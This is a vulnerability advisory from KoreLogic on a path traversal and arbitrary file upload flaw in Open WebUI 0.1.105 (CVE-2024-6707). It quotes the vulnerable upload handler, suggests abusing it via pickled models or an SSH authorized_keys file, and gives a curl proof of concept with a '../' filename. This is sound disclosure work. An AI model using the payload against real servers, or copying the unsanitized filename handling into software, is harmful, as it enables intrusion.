Title: Open WebUI Arbitrary File Upload + Path Traversal
Advisory ID: KL-001-2024-006
Publication Date: 2024.08.D06
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-006.txt

1. Vulnerability Details

Affected Vendor: Open WebUI
Affected Product: Open WebUI
Affected Version: 0.1.105
Platform: Debian 12
CWE Classification: CWE-22: Improper Limitation of a Pathname to a
Restricted Directory ('Path Traversal'),
CWE-434: Unrestricted Upload of File with Dangerous
Type
CVE ID: CVE-2024-6707

2. Vulnerability Description

Attacker controlled files can be uploaded to arbitrary
locations on the web server's filesystem by abusing a
path traversal vulnerability.

3. Technical Description

When attaching files to a prompt by clicking the
plus sign (+) on the left of the message input box
when using the Open WebUI HTTP interface, the file
is uploaded to a static upload directory.

The name of the file is derived from the original
HTTP upload request and is not validated or sanitized.
This allows for users to upload files with names
containing dot-segments in the file path and traverse
out of the intended uploads directory. Effectively, users
can upload files anywhere on the filesystem the
user running the web server has permission.

This can be visualized by examining the python code
for the "/rag/api/v1/doc" API route:

@app.post("/doc")
def store_doc(
collection_name: Optional[str] = Form(None),
file: UploadFile = File(...),
user=Depends(get_current_user),
):
# "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

print(file.content_type)
try:
filename = file.filename
file_path = f"{UPLOAD_DIR}/{filename}"
contents = file.file.read()
with open(file_path, "wb") as f:
f.write(contents)
f.close()

The "file" variable is a representation of the multipart
form data contained within the HTTP POST request. The
"filename" variable is derived from the uploaded file name
and is not validated before writing the file contents
to disk.

This can be used to upload malicious models. These models
are often distributed as pickled python objects and can
be leveraged to execute arbitrary python bytecode once
deserialized. Alternatively, an attacker can leverage existing
services, such as SSH, to upload an attacker controlled
"authorized_keys" file to remotely connect to the machine.

4. Mitigation and Remediation Recommendation

This issue was remediated in Open WebUI release v0.1.117 on 2024.04.03.

5. Credit

This vulnerability was discovered by Jaggar Henry and Sean
Segreti of KoreLogic, Inc.

6. Disclosure Timeline

2024.03.05 - KoreLogic requests secure communications channel and point
of contact from OpenWebUI.com via email.
2024.03.12 - KoreLogic submits vulnerability details and suggested patch
to maintainer via Github Security 'Report a vulnerability'
web form.
2024.04.01 - KoreLogic opens Discussion #1385 via GitHub to request an
update from the maintainer.
2024.04.01 - Maintainer opens a private fork and merges KoreLogic's patch.
2024.04.03 - Maintainer releases v0.1.117.
2024.08.06 - KoreLogic public disclosure.

7. Proof of Concept

Execute the following cURL command:

TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt"
"$TARGET_URI/rag/api/v1/doc"

Verify the file "pwned.txt" exists in the /tmp/ directory on
the machine hosting the web server:

ollama@webserver:~$ cat /tmp/pwned.txt
korelogic
ollama@webserver:~$

The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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https://www.korelogic.com/about-korelogic.html

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